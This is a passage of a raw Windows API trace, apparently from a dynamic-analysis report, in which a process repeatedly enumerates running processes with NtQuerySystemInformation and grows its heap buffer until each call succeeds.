Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0056.045] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0056.045] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0056.045] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0057.958] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0057.958] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0057.958] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0057.958] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0057.959] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0057.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0057.959] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0057.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0057.959] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0057.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0057.959] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0057.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.959] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0057.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.960] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0057.960] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.960] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0057.960] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.960] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0057.960] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.960] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0057.960] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.961] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0057.961] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.961] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0057.961] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.961] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0057.961] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.961] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0057.961] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.962] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0057.962] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.962] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0057.962] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.962] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0057.962] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.963] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0057.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.963] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0057.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.963] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0057.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.964] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0057.964] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0057.964] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0057.964] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0060.725] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0060.725] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0060.725] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0060.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0060.726] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0060.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0060.726] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0060.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0060.726] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0060.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0060.726] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0060.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.727] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0060.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.727] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0060.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.727] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0060.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.727] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0060.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.728] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0060.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.728] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0060.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.728] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0060.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.728] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0060.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.729] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0060.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.729] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0060.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.729] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0060.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.730] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0060.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.730] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0060.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.730] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0060.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.731] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0060.731] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.731] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0060.731] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0060.731] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0060.731] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0062.161] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0062.161] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0062.161] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0062.161] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0062.162] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0062.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0062.162] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0062.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0062.162] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0062.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0062.162] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0062.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.162] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0062.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.163] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0062.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.163] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0062.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.163] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0062.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.163] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0062.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.164] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0062.164] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.164] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0062.164] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.164] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0062.164] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.165] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0062.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.165] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0062.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.165] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0062.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.165] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0062.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.166] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x142d0) returned 0x577e58 [0062.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.166] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x152f4) returned 0x577e58 [0062.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.166] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x16318) returned 0x577e58 [0062.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.167] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x1733c) returned 0x577e58 [0062.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.167] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x18360) returned 0x577e58 [0062.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0062.168] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x19384) returned 0x577e58 [0062.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0064.358] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0064.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0064.359] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0064.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0064.359] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0064.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0064.359] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0064.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0064.359] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0064.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0064.359] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0064.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.360] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0064.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.360] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0064.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.360] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0064.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.360] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0064.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.361] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0064.361] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.361] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0064.361] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.361] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xe1f8) returned 0x577e58 [0064.361] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.361] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xf21c) returned 0x577e58 [0064.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.362] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x10240) returned 0x577e58 [0064.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.362] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x11264) returned 0x577e58 [0064.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.362] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x12288) returned 0x577e58 [0064.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.363] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x132ac) returned 0x577e58 [0064.363] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0064.363] 